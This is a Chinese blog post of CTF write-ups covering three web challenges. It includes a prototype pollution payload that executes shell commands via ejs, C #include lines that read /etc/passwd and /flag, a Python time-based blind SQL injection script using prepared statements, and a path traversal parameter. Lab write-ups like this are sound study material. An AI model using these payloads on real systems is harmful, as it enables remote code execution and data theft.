寒假学习01

[GYCTF2020]Ez_Express

F12有提示

下载下来根据提示

在代码中找到

 在登录中会的过滤admin但是会小写字母转换为大写字母

利用toUpperCase实现伪造ADMIN登录

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

 登录成功之后

 就是/action路由里面的

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

可以看到就将提交的数据交给clone处理

const clone = (a) => {
  return merge({}, a);
}//很明显的原型链污染

-----------------------------------------------------------------------

知识点​​​​​​

这两位师傅讲的已经很清楚了

初探JavaScript原型链污染 - Escape-w - 博客园 (cnblogs.com)

Express+lodash+ejs: 从原型链污染到RCE - evi0s' Blog

-----------------------------------------------------------------------

最后payload

{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

[FireshellCTF2020]Caas

打开是一个编译器

之后会下载一个文件,不太明白什么意思

尝试利用c 语言看看能不能打开文件

看了WP才知道flag应该是以文件形式存在服务器中,要尝试使用#include ''预处理编译报错

尝试包含文件/etc/passwd,构造代码:

#include "/etc/passwd"
#include "/flag"

 得到flag

[SWPU2019]Web4

点登陆没反应,注册提示未开发,猜测sql注入

 单引号报错,加;之后成功

参考wp是要堆叠注入,并且过滤了很多关键字,需要用十六进制和预处理语句注入。

利用MySql预处理

在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。

PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用
EXECUTE:执行命令
DEALLOCATE PREPARE:释放命令
SET:用于设置变量
这里贴一个师傅写的脚本

#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

结果glzjin_wants_a_girl_friend.zip可以下载到源码。代码审计

经过观察发现在

BaseController.php中有任意变量覆盖

 继续观察只有在

UserController.php里面可以改变

 

 观察userIndex.php

 在这里我们可以将img_file修改为/../flag.php

 还需要注意一点需要将r赋值为User/index

 才能进入图片显示

payload:
?r=User/Index&img_file=/../flag.php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值